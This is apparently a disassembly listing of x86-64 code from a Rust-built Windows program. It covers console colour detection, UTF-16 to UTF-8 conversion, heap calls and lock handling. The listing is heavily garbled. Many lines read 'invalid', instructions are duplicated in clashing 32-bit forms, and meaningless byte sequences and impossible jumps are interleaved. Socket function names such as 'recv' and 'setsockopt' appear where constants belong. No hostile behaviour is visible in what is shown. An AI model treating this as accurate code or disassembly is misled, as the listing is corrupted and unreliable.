je 0x14002b3ad
mov r15, rax
mov rcx, rax
mov rdx, r14
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbx
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x48]
call fcn.14002e090
mov rcx, qword [rdi + 0x40]
mov rdx, qword [rdi + 0x50]
mov r8b, recv
call fcn.14002dff0
test rax, rax
je 0x14002b0fa
mov rbx, rax
cmp byte [rax], 2
jne 0x14002b0fa
lea rdx, [0x14016abcd]
lea r14, [rsp + 0x28]
mov r8d, 2
mov rcx, r14
call fcn.14002de70
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x18]
mov rcx, r14
call fcn.14002df20
mov rbx, qword [rdi + 0x30]
test rbx, rbx
je 0x14002b12f
mov rdi, qword [rdi + 0x38]
lea rdx, [0x14016affc]
lea r14, [rsp + 0x28]
mov r8d, 0x1b
mov rcx, r14
call fcn.14002de70
mov rcx, r14
mov rdx, rbx
mov r8, rdi
call fcn.14002e4d0
lea rdx, [0x1401de362]
lea rcx, [rsp + 0x28]
mov r8d, 1
call fcn.14002de70
movups xmm0, xmmword [rsp + 0x28]
movups xmm1, xmmword [rsp + 0x38]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
test r15, r15
je 0x14002b1bf
cmp byte [r15], 2
jne 0x14002b1bf
lea rdx, [0x14016ac54]
lea rcx, [rsp + 0x28]
mov r8d, setsockopt
call fcn.14002de70
mov rdx, qword [r15 + 8]
mov r8, qword [r15 + 0x18]
lea rbx, [rsp + 0x28]
mov rcx, rbx
call fcn.14002e4d0
lea rdx, [0x14016ac65]
mov r8d, 2
mov rcx, rbx
call fcn.14002de70
mov rbx, qword [rdi + 0x40]
mov r14, qword [rdi + 0x50]
mov rcx, rbx
mov rdx, r14
mov r8b, 1
call fcn.14002dff0
test rax, rax
je 0x14002b0b3
cmp byte [rax], 2
jne 0x14002b0b3
mov rcx, rax
add rcx, 8
mov qword [rsp + 0x88], rcx
cmp qword [rax + 0x18], 0
je 0x14002b292
mov rax, qword [rcx]
cmp byte [rax], 0x2d
jne 0x14002b292
lea rax, [rsp + 0x88]
mov qword [rsp + 0x90], rax
lea rcx, [0x14002e5a0]
mov qword [rsp + 0x98], rcx
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], rcx
lea rax, [0x14016acd0]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 3
add byte [rax], al
mov qword [rsp + 0x68], 0
lea rax, [rsp + 0x90]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 2
lea rbx, [rsp + 0xb0]
lea rdx, [rsp + 0x48]
mov rcx, rbx
call fcn.14002e5c0
add byte [rax], al
lea rcx, [rsp + 0x28]
mov rdx, rbx
call fcn.14002e090
mov rbx, qword [rdi + 0x40]
mov r14, qword [rdi + 0x50]
mov rcx, rbx
mov rdx, r14
mov r8b, recv
call fcn.14002dff0
test rax, rax
je 0x14002b0b3
cmp byte [rax], 1
jne 0x14002b0b3
cmp byte [rax + 1], 0
je 0x14002b0b3
lea rax, [rsp + 0x88]
mov qword [rsp + 0xb0], rax
lea rax, [0x14002e5a0]
mov qword [rsp + 0xb8], rax
lea rax, [0x14016ad30]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 2
mov qword [rsp + 0x68], 0
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
lea rbx, [rsp + 0x90]
lea rdx, [rsp + 0x48]
mov rcx, rbx
call fcn.14002e5c0
lea rcx, [rsp + 0x28]
mov rdx, rbx
jmp 0x14002b0ae
lea rdx, [0x1401da461]
mov r8d, 1
mov rcx, r14
call fcn.14002de70
jmp 0x14002b0b3
lea rcx, [rsp + 0x28]
mov r8d, 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
call fcn.14002de70
jmp 0x14002b0b3
mov ecx, 1
mov rdx, rbx
call fcn.14015d7f0
ud2
lea rax, [0x140204730]
mov qword [rsp + 0x20], rax
lea rcx, str.a_Display_implementation_returned_an_error_unexpectedly_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_alloc_src_string.rs
lea r9, [0x140169d80]
lea r8, [rsp + 0xb0]
mov edx, 0x37
call fcn.140161200
ud2
mov dil, 2
jmp 0x14002b4cb
mov dword [rbp - 0x28], 0
call sub.KERNEL32.dll_GetStdHandle
lea rdx, [rbp - 0x28]
mov rcx, rax
call sub.KERNEL32.dll_GetConsoleMode
test eax, eax
je 0x14002b754
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rdi], cl
mov dh, 0x56
sbb dword [rax - 0x73], ecx
fadd dword [r9 - 0x77]
clc
movzx edx, byte [rsi + 0x19]
lea rcx, [rbp - 0x28]
mov r8d, edi
call fcn.140140000
movzx edi, byte [rbp + 0x48]
mov rbx, qword [rbp - 0x28]
cmp edi, 2
jae 0x14002b54f
test rbx, rbx
je case.0x14002b501.1
mov eax, edi
lea rcx, [0x140208298]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
jne 0x14002b5f6
lea rdx, str.TERMNO_COLORcannot_lock_a_buffered_standard_streamC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_termcolor_1.3.0_srclib.rs
lea rcx, [rbp + 0x90]
mov r8d, 4
call fcn.140132fe0
cmp byte [rbp + 0xa8], 2
je 0x14002b5b0
mov r8, qword [rbp + 0x90]
mov rax, qword [rbp + 0x98]
cmp qword [rbp + 0xa0], 4
jne 0x14002b59c
cmp dword [r8], 0x626d7564
je 0x14002b6ae
test rax, rax
je 0x14002b5b0
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rdx, [0x1401ddd94]
lea rcx, [rbp + 0x90]
mov r8d, 8
call fcn.140132fe0
cmp byte [rbp + 0xa8], 2
je 0x14002b4e8
invalid
invalid
invalid
cmp qword [rbp + 0x98], 0
je 0x14002b5f6
mov r8, qword [rbp + 0x90]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rbp + 0x90], 0
mov qword [rbp + 0x98], 1
pxor xmm0, xmm0
movdqu xmmword [rbp + 0xa0], xmm0
xor edi, edi
mov rax, qword [rsi + 0x10]
test rax, rax
jne 0x14002bb46
jmp 0x14002bc0f
test rax, rax
jne 0x14002b5e7
jmp 0x14002b5f6
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14002b779
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14002bbf7
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x210
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14002bbf7
mov r15, rax
mov ecx, r14d
call sub.KERNEL32.dll_GetStdHandle
mov rcx, rax
mov edx, 2
mov r8, r15
mov r9d, 0x210
call sub.KERNEL32.dll_GetFileInformationByHandleEx
test eax, eax
je 0x14002bba8
mov eax, dword [r15]
mov ebx, eax
shr ebx, 1
mov qword [rbp - 0x28], 1
pxor xmm0, xmm0
movdqu xmmword [rbp - 0x20], xmm0
shr eax, 2
mov r8d, ebx
and r8d, 1
add r8, rax
jne 0x14002bbe7
lea rbx, [r15 + rbx*2]
add rbx, 4
mov qword [rbp + 0x78], r15
add r15, 4
xor r14d, r14d
lea r13, [rbp - 0x28]
test r14w, r14w
je 0x14002b872
nop word cs:[rax + rax]
movzx eax, word [rbp + 0x80]
mov ecx, eax
lea eax, [rcx + 0x2000]
movzx eax, ax
cmp eax, 0xf800
jae 0x14002b893
movzx eax, cx
shl rax, 0x10
mov r12, rax
shr r12, 0x10
cmp r12d, 0x80
jae 0x14002b903
mov rdx, qword [rbp - 0x18]
cmp rdx, qword [rbp - 0x20]
jne 0x14002b85a
mov rcx, r13
call fcn.1400159e0
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x28]
mov byte [rax + rdx], r12b
inc rdx
mov qword [rbp - 0x18], rdx
xor r14d, r14d
test r14w, r14w
jne 0x14002b810
cmp r15, rbx
je 0x14002ba61
movzx ecx, word [r15]
add r15, 2
lea eax, [rcx + 0x2000]
movzx eax, ax
mov bh, 0xc0
cmp eax, 0xf800
jb 0x14002b829
movzx eax, cx
cmp eax, 0xdbff
ja 0x14002b93b
cmp r15, rbx
je 0x14002b940
movzx eax, word [r15]
add r15, 2
mov edx, eax
add edx, 0x2000
movzx edx, dx
cmp edx, 0xfc00
jb 0x14002b956
movzx eax, ax
and ecx, 0x3ff
loope 0x14002b8ce
add eax, dword [rax]
invalid
and eax, 0x3ff
shl rcx, 0x1a
shl rax, 0x10
or rax, rcx
movabs rcx, 0x100000000
add rax, rcx
mov r12, rax
shr r12, 0x10
cmp r12d, 0x80
jb 0x14002b844
invalid
invalid
mov dword [rbp + 0x90], 0
cmp r12d, 0x800
jae 0x14002b948
shr eax, 0x16
or al, 0xc0
mov byte [rbp + 0x90], al
and r12b, 0x3f
or r12b, 0x80
mov byte [rbp + 0x91], r12b
mov r12d, 2
jmp 0x14002b9ec
xor r14d, r14d
jmp 0x14002b962
xor r14d, r14d
mov r15, rbx
jmp 0x14002b962
cmp r12d, 0x10000
jae 0x14002b9a7
xor r14d, r14d
jmp 0x14002b972
mov r14w, 1
mov word [rbp + 0x80], ax
mov dword [rbp + 0x90], 0
mov r12d, 0xfffd
mov eax, r12d
shr eax, 0xc
or al, 0xe0
mov byte [rbp + 0x90], al
mov eax, r12d
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rbp + 0x91], al
and r12b, 0x3f
or r12b, 0x80
mov byte [rbp + 0x92], r12b
mov r12d, 3
jmp 0x14002b9ef
mov rcx, rax
shr rcx, 0x22
or cl, 0xf0
mov byte [rbp + 0x90], cl
mov rcx, rax
shr rcx, 0x1c
and cl, 0x3f
or cl, 0x80
mov byte [rbp + 0x91], cl
shr eax, 0x16
and al, 0x3f
or al, 0x80
mov byte [rbp + 0x92], al
and r12b, 0x3f
or r12b, 0x80
mov byte [rbp + 0x93], r12b
mov r12d, 4
xor r14d, r14d
mov rax, qword [rbp - 0x20]
mov r13, qword [rbp - 0x18]
sub rax, r13
cmp rax, r12
jb 0x14002ba2f
mov rcx, qword [rbp - 0x28]
add rcx, r13
lea rdx, [rbp + 0x90]
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
add r13, r12
mov qword [rbp - 0x18], r13
lea r13, [rbp - 0x28]
test r14w, r14w
jne 0x14002b810
test esi, esp
std
invalid
invalid
test esi, esp
std
invalid
jmp 0x14002b872
lea rcx, [rbp - 0x28]
mov rdx, r13
mov r8, r12
call fcn.1401614a0
mov r13, qword [rbp - 0x18]
jmp 0x14002b9ff
mov r14, qword [rbp - 0x28]
mov rbx, qword [rbp - 0x20]
mov r15, qword [rbp - 0x18]
lea rcx, [0x140169987]
mov edx, 5
mov r8, r14
mov r9, r15
call fcn.140015aa0
mov r12b, 1
test al, al
jne 0x14002baa5
lea rcx, [0x14016998c]
mov edx, 7
mov r8, r14
mov r9, r15
call fcn.140015aa0
mov r12d, eax
lea rcx, [0x140169993]
mov edx, 4
mov r8, r14
mov r9, r15
call fcn.140015aa0
invalid
inc dword [rcx - 0x77]
mov dword [rbp + 0x20], 0xd8b48e7
xchg edi, eax
cwde
invalid
add byte [rax - 0x7b], cl
fisttp dword [rdi]
test ch, ch
add byte [rax], al
invalid
invalid
mov rbx, qword [sym.imp.KERNEL32.dll_HeapFree]
xor edx, edx
mov r8, r14
call rbx
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, qword [rbp + 0x78]
call rbx
jmp 0x14002bbcb
mov qword [rbp + 0x90], 1
mov qword [rbp + 0x98], 1
pxor xmm0, xmm0
movdqu xmmword [rbp + 0xa0], xmm0
add byte [rax], al
add byte [rdi + 1], bh
add byte [rax], al
add byte [rdi + 1], bh
mov rax, qword [rsi + 0x10]
test rax, rax
je 0x14002bc0f
mov rcx, qword [rsi]
shl rax, 5
mov qword [rbp + 0x80], rax
xor ebx, ebx
mov byte [rbp + 0x67], 0xb
mov byte [rbp + 0x6b], 0xb
mov dword [rbp + 0x60], 0
mov byte [rbp + 0x64], 0
mov word [rbp + 0x65], 1
mov qword [rbp + 0x78], rcx
movzx eax, byte [rcx + rbx + 0x18]
xor r12d, r12d
lea rcx, [0x1402082a8]
lea ecx, [0x1402082a8]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov r14b, 1
mov r13b, 1
xor esi, esi
mov r15b, 1
mov dil, 0xb
jmp rax
mov dword [rbp + 0x67], 2
mov dil, 2
jmp 0x14002c8de
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14002b4cb
xor edx, edx
mov r8, qword [rbp + 0x78]
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r15b, r15b
jne 0x14002b47d
jmp 0x14002b4cb
lea rcx, [rbp - 0x28]
xor edx, edx
call fcn.1401614a0
jmp 0x14002b7e7
mov ecx, 1
mov edx, 0x210
call fcn.14015d7f0
ud2
mov rdi, qword [rbp + 0x90]
test rdi, rdi
je 0x14002bc18
cmp rdi, 1
cmp qword [rbp + 0xa8], 0
je case.0x14002bf98.52
and eax, 0x8900000b
cmp bl, r13b
pop rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
lea rax, [rax + 0x51]
lea eax, [rax + 0x51]
mov qword [rsi + 8], rax
mov dword [rsi + 0x38], 1
cmp byte [rcx], r8b
add byte [rax], al
add bl, ch
invalid
movzx eax, byte [rbp + 0x28]
mov qword [rbp + 0x60], rbx
invalid
mov qword [rbp + 0x68], rsi
invalid
mov byte [rbp + 0x70], al
invalid
cmp qword [rbp + 0x30], 0
je case.0x140010a46.179
movzx eax, byte [rbp + 0x49]
test al, al
invalid
je case.0x140010a46.179
invalid
mov rdx, qword [rbp + 0x30]
mov r8, qword [rbp + 0x40]
lea rcx, [rbp + 0x60]
call fcn.140140330
mov rsi, rax
test rax, rax
jne 0x14002bd8b
test rdi, rdi
je 0x14002bd68
cmp rdi, 1
jne 0x14002bdba
mov rdx, qword [rbp + 0x98]
mov r8, qword [rbp + 0xa8]
lea rcx, [rbp + 0x60]
call fcn.140140330
mov rsi, rax
test rax, rax
je 0x14002c136
dec dword [rcx + 0x20]
jne 0x14002c16e
mov qword [rcx + 0x18], 0
add rcx, 0x10
add ecx, 0x10
add byte [rax - 0x7d], cl
rcl dword [rax], 0xff
adc eax, 0x13c29b
add ecx, 0x10
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
jmp 0x14002c16e
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x14002c756
xor ebx, ebx
movzx eax, byte [rbp - 0x18]
test al, al
jne 0x14002c76c
jae 0x14002be00
add byte [rax], al
jae 0x14002be00
add byte [rax], al
mov rax, qword [rbp + 0xc0]
test rax, rax
je 0x14002c084
test byte [rbx + 2], bh
add byte [rax], al
test byte [rbx + 2], bh
add byte [rax], al
mov dword [rbp + 0x8c], ebx
popfq
mov word [rax], es
add byte [rax], al
mov qword [rbp + 0x50], rdi
push rax
mov rbx, qword [rbp + 0xb0]
mov ebx, dword [rbp + 0xb0]
lea rax, [rax + rax*2]
lea rax, [rbx + rax*8]
mov qword [rbp + 0x78], rax
mov r15, qword [rbp + 0x98]
mov r13, qword [rbp + 0xa8]
mov rax, qword [rbp + 0x60]
mov qword [rbp + 0x80], rax
mov rdi, qword [rbp + 0x68]
lea r14, [rdi + 0x10]
lea rax, [rdi + 0x18]
mov qword [rbp - 0x48], rax
mov dword [rbp - 0x48], eax
mov dword [rbp - 0x48], eax
add rbx, 0x14
add ebx, 0x14
xor r12d, r12d
xor esp, esp
mov qword [rbp - 0x50], rdi
jge 0x14002be0a
mov qword [rbp - 0x40], r14
mov dword [rbp - 0x40], esi
jne case.0x1401243a5.103
jmp 0x14002be94
xor al, 0x8b
invalid
mov eax, dword [rbp - 0x16]
mov dword [rbp - 0x12], eax
lea rcx, [rbp - 0x17]
lea ecx, [rbp - 0x17]
lea ecx, [rbp - 0x17]
call fcn.14015bdb0
call qword [r10]
add byte [rax - 0x7b], cl
ror byte [rdi], 0x85
jne 0x14002c075
invalid
invalid
ret
test rax, rax
jne 0x14002c075
add byte [rax], al
add rbx, 0x18
add r13, 0x18
add ebp, 0x18
sbb byte [rcx - 0x7d], cl
invalid
add ebp, 0x18
cmp r13, qword [rbp + 0x78]
cmp ebp, dword [rbp + 0x78]
mov r13, r15
mov r15, rdi
mov rdi, qword [rbp - 0x50]
je 0x14002c097
add byte [rcx + rcx*4 - 0x1e], cl
mov rdx, r12
mov r12, qword [rbx - 0x14]
mov r8, r12
sub r8, rdx
ror byte [rdi], 1
invalid
nop
or dword [rax], eax
invalid
cmp r12, r13
ja 0x14002c84b
add rdx, r15
lea rcx, [rbp + 0x60]
invalid
call fcn.140140330
test rax, rax
jne 0x14002c075
invalid
cmp qword [rbp + 0x80], 0
je 0x14002bef0
cmp qword [rdi], 0
jne 0x14002c866
invalid
lea ecx, [rcx]
add byte [rax], al
mov qword [rdi], 0
add byte [rax], al
jmp 0x14002bf1d
cmp qword [r14], 0
jne 0x14002c86f
jne case.0x14002a035.51
add byte [rax], al
jne case.0x14002a035.51
add byte [rax], al
mov qword [r14], 0xffffffffffffffff
mov rcx, qword [rbp - 0x48]
call fcn.14012e880
mov rsi, rax
mov r14, qword [rbp - 0x40]
ror byte [rcx - 1], 6
ror byte [rcx - 1], 6
test rax, rax
jne 0x14002c078
mov rdi, r15
mov edi, edi
mov r15, r13
lea r13, [rbx - 0x14]
cmp byte [r13 + 8], 2
or byte [rdx], al
or byte [rdx], al
je case.0x1401243a5.128
movzx eax, byte [rbx - 5]
cmp eax, 8
jae case.0x14002a035.65
cmp byte [rbx - 0xb], 0
sete cl
mov byte [rbp - 0x10], al
mov byte [rbp - 0x12], cl
out dx, al
out dx, al
lea rcx, [rbp - 0x17]
call fcn.14015bdb0
test rax, rax
jne 0x14002c075
add byte [rax], al
add byte [rax], al
movzx eax, byte [rbx - 1]
cmp eax, 8
or byte [rbx + 0x57], dh
mov dh, 0x43
inc dword [rbx + 0x577308f8]
or byte [rbx + 0x57], dh
inc dword [r11 + 0x577308f8]
or byte [rbx + 0x57], dh
cmp byte [rbx - 0xb], 0
jnp 0x14002bf5b
add byte [rdi], cl
sete cl
xchg esp, eax
ror dword [rax + 0x4d88f145], 0xef
mov byte [rbp - 0xf], al
int1
int1
mov byte [rbp - 0x11], cl
out dx, eax
lea rcx, [rbp - 0x17]
call fcn.14015bdb0
adc al, byte [rax]
jmp 0x15300f760
adc al, byte [rax]
add byte [rax - 0x7b], cl
test rax, rax
test eax, eax
ror byte [rdi], 0x84
je case.default.0x14002bfea
idiv dh
invalid
jmp 0x14002c075
add byte [rbx - 0x72b70740], al
or eax, 0x1dc32b
sub eax, ebx
invalid
invalid
add eax, 0xfffffff8
clc
lea rcx, [0x1402082bc]
sub eax, ebx
sbb eax, 0x4634800
add byte [rax + 0x63], cl
add al, 0x81
add rax, rcx
jmp rax
invalid
mov dh, 0x43
add byte [rax + 0x63], cl
add al, 0x81
movsxd rax, dword [rcx + rax*4]
invalid
add rax, rcx
add eax, ecx
jmp rax
movzx eax, byte [rbx - 4]
cld
cmp rax, 0xf
cmp eax, 0xf
ja case.default.0x14002bfb4
mov cl, 1
lea r8, [0x1402082cc]
movsxd rdx, dword [r8 + rax*4]
add rdx, r8
jmp rdx
mov al, 3
jmp case.0x14002bfb4.0
add eax, 0xfffffff8
lea rcx, [0x14020830c]
ret
invalid
invalid
ret
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
loopne 0x14002bfdd
movzx eax, byte [rbx]
mov dh, 3
add ecx, dword [rax - 0x7d]
clc
cmp rax, 0xf
invalid
ja case.default.0x14002bfea
invalid
mov cl, 1
add dword [rbp + rcx*4 + 5], ecx
lea r8, [0x14020831c]
lea eax, [0x14020831c]
cmp ebx, eax
sbb eax, 0x14634900
add byte [rcx + 0x63], cl
invalid
add byte [rcx + 0x63], cl
adc al, 0x80
invalid
movsxd rdx, dword [r8 + rax*4]
or byte [rcx + rax - 0x3e], 0xff
loop 0x14002bf9d
invalid
add rdx, r8
jmp rdx
mov al, 3
jmp case.0x14002bfea.0
ja 0x14002bff0
invalid
invalid
add ebp, ecx
ja 0x14002bff0
invalid
invalid
mov al, 4
jmp 0x14002c024
mov al, 6
jmp 0x14002c024
invalid
mov al, 1
jmp 0x14002c024
invalid
and eax, 0x21eb03b0
mov al, 3
jmp 0x14002c024
mov al, 7
jmp 0x14002c024
mov al, 4
jmp case.0x14002bfb4.0
mov al, 6
jmp case.0x14002bfb4.0
invalid
invalid
invalid
invalid
mov al, 5
jmp 0x14002c024
mov cl, 1
mov al, 1
jmp case.0x14002bfb4.0
mov al, 2
xor ecx, ecx
jmp case.0x14002bfb4.0
xor ecx, ecx
xor eax, eax
jmp case.0x14002bfb4.0
mov al, 4
jmp 0x14002c065
mov al, 6
jmp 0x14002c065
mov al, 1
jmp 0x14002c065
invalid
and eax, 0x21eb03b0
mov al, 3
jmp 0x14002c065
mov al, 7
jmp 0x14002c065
mov al, 4
jmp case.0x14002bfea.0
mov al, 6
jmp case.0x14002bfea.0
mov al, 5
jmp 0x14002c065
mov cl, 1
mov al, 1
jmp case.0x14002bfea.0
invalid
invalid
invalid
mov al, 2
xor ecx, ecx
jmp case.0x14002bfea.0
xor ecx, ecx
xor eax, eax
jmp case.0x14002bfea.0
invalid
mov rsi, rax
mov rdi, qword [rbp + 0x50]
mov ebx, dword [rbp + 0x8c]
jmp 0x14002c0be
mov r15, qword [rbp + 0x98]
mov r13, qword [rbp + 0xa8]
xor r12d, r12d
in al, 0xeb
invalid
mov rdi, qword [rbp + 0x50]
mov ebx, dword [rbp + 0x8c]
sub r13, r12
add r15, r12
lea rcx, [rbp + 0x60]
mov rdx, r15
mov r8, r13
call fcn.140140330
mov rsi, rax
test rax, rax
je 0x14002c102
test bl, bl
jne 0x14002c0d5
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x14002c79d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
adc eax, 0x13bf72
mov rcx, qword [rbp + 0x68]
cmp qword [rbp + 0x60], 0
jne 0x14002bd9a
dec dword [rcx + 0x38]
jne 0x14002c16e
mov qword [rcx + 8], 0
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
jmp 0x14002c16e
cmp qword [rbp + 0x60], 0
mov rcx, qword [rbp + 0x68]
je 0x14002c740
invalid
invalid
add byte [rax], al
jge 0x14002c166
add byte [rax - 0x75], cl
push 0x62f840f
invalid
invalid
add byte [rax], al
call fcn.140138d60
test bl, bl
jne 0x14002c12d
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x14002c7b3
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
mov al, 1
xchg byte [rbp + 0x49], al
mov rcx, qword [rbp + 0x68]
cmp qword [rbp + 0x60], 0
je 0x14002c159
dec dword [rcx + 0x20]
jne case.0x14002bf98.52
mov qword [rcx + 0x18], 0
add rcx, 0x10
jmp 0x14002c166
dec dword [rcx + 0x38]
jne case.0x14002bf98.52
mov qword [rcx + 8], 0
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
xor esi, esi
mov rax, qword [rbp + 0x90]
test rax, rax
je 0x14002c17f
cmp eax, 1
jne 0x14002c192
cmp qword [rbp + 0xa0], 0
je 0x14002c1d5
lea rax, [rbp + 0x98]
jmp 0x14002c1c3
cmp qword [rbp + 0xa0], 0
add byte [rax], al
je 0x14002c1b2
mov r8, qword [rbp + 0x98]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbp + 0xb8], 0
add byte [rax], al
je 0x14002c1d5
lea rax, [rbp + 0xb0]
mov r8, qword [rax]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp - 8]
cmp rax, 2
jb 0x14002c703
cmp eax, 2
jne 0x14002c207
cmp byte [rbp + 0x18], 0
jne 0x14002c6e9
xor edi, edi
lea rbx, [rbp + 0x90]
lea r12, [0x14020835c]
jmp 0x14002c470
cmp byte [rbp + 0x18], 0
jne 0x14002c6e9
lea rbx, [rbp + 0x90]
lea r12, [0x14020836c]
rcr dword [0x12c01f323], 0x1d
mov eax, esi
shr rax, 0x20
cmp eax, 0x23
jne 0x14002c661
mov rdx, qword [rbp + 0x10]
mov r15, rdx
sub r15, rdi
jbe 0x14002c61c
mov byte [rbp + 0x18], 1
mov r14, qword [rbp]
add r14, rdi
mov r13, qword [rbp + 0x20]
mov rax, qword [r13 + 0x18]
mov ecx, dword [0x1402153fc]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
lea rcx, [rcx + 0x51]
mov dword [rcx], edx
add byte [rax], al
mov dword [rcx], edx
add byte [rax], al
cmp rax, rcx
jne 0x14002c2a0
mov eax, dword [r13 + 0x20]
inc eax
je 0x14002c7c9
mov dword [r13 + 0x20], eax
jmp 0x14002c2d0
lea rcx, [r13 + 0x10]
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rax, [rax + 0x51]
mov qword [r13 + 0x18], rax
mov dword [r13 + 0x20], 1
cmp qword [r13], 0
mov qword [rbp + 0x80], r13
jne 0x14002c7e3
add byte [rax], al
add byte [rax], al
mov qword [r13], 0xffffffffffffffff
lea rax, [r13 + 8]
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov edx, 0xfffffff4
mov r8, r14
mov r9, r15
call fcn.14012ecf0
mov r13, qword [rbp + 0x90]
add byte [rbp - 0x7b], cl
in eax, dx
add byte [rbp - 0x7b], cl
in eax, dx
je 0x14002c3b0
mov r14, qword [rbp + 0x98]
mov eax, r14d
and eax, 3
cmp rax, 2
jb 0x14002c360
cmp eax, 2
jne 0x14002c360
mov rax, r14
shr rax, 0x20
cmp rax, 6
mov ecx, 0
add byte [rdi + rcx + 0x44], cl
jmp 0x18d09bbc9
cmove esi, edi
mov rcx, qword [rbp + 0x80]
inc qword [rcx]
dec dword [rcx + 0x20]
jne 0x14002c387
add byte [rdi + rcx + 0x44], cl
jmp 0x18d09bbc9
jmp 0x18d09bbc9
jmp 0x14002c375
mov r13d, 1
mov rcx, qword [rbp + 0x80]
inc qword [rcx]
dec dword [rcx + 0x20]
jne 0x14002c387
mov qword [rcx + 0x18], 0
add rcx, 0x10
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
add byte [rax - 0x7d], cl
rcl dword [rax], 0xff
adc eax, 0x13bcc9
mov byte [rbp + 0x18], 0
test r13, r13
je 0x14002c448
mov r15d, r14d
and r15d, 3
movsxd rax, dword [r12 + r15*4]
invalid
add al, 0xbc
add rax, r12
jmp rax
invalid
movzx eax, byte [r14 + 0x10]
movzx eax, byte [rsi + 0x10]
jmp 0x14002c3dc
mov r14, qword [rbp + 0x98]
mov rcx, qword [rbp + 0x80]
inc qword [rcx]
dec dword [rcx + 0x20]
jne 0x14002c387
jmp 0x14002c375
cmp al, 0x23
jne 0x14002c661
cmp r15d, 1
jne 0x14002c240
jmp 0x14002c3fb
cmp byte [r14 + 0xf], 0x23
jne 0x14002c661
mov r15, qword [r14 - 1]
mov r13, qword [r14 + 7]
mov rcx, r15
call qword [r13]
cmp qword [r13 + 8], 0
je 0x14002c42e
cmp qword [r13 + 0x10], 0x11
jb 0x14002c41c
mov r15, qword [r15 - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
dec r14
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14002c240
test r14, r14
je 0x14002c65a
test byte [rcx], cl
add al, byte [rax]
invalid
test byte [rcx], cl
add al, byte [rax]
add byte [rcx + rax - 9], cl
add rdi, r14
jmp 0x14002c240
mov rdx, qword [rbp + 0x10]
mov r14, rdx
sub r14, rdi
jbe 0x14002c61c
mov byte [rbp + 0x18], 1
mov r15, qword [rbp]
add r15, rdi
mov r13, qword [rbp + 0x20]
mov rax, qword [r13 + 8]
mov ecx, dword [0x1402153fc]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
lea rcx, [rcx + 0x51]
mov dword [rcx], edx
add byte [rax], al
mov dword [rcx], edx
add byte [rax], al
cmp rax, rcx
jne 0x14002c4d0
mov eax, dword [r13 + 0x38]
inc eax
je 0x14002c7c9
cmp r15b, r15b
ror byte [rdi], 0x84
or eax, dword [rbx]
add byte [rax], al
mov dword [r13 + 0x38], eax
jmp 0x14002c4ff
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rax, [rax + 0x51]
add byte [rax], al
add byte [rcx - 0x77], cl
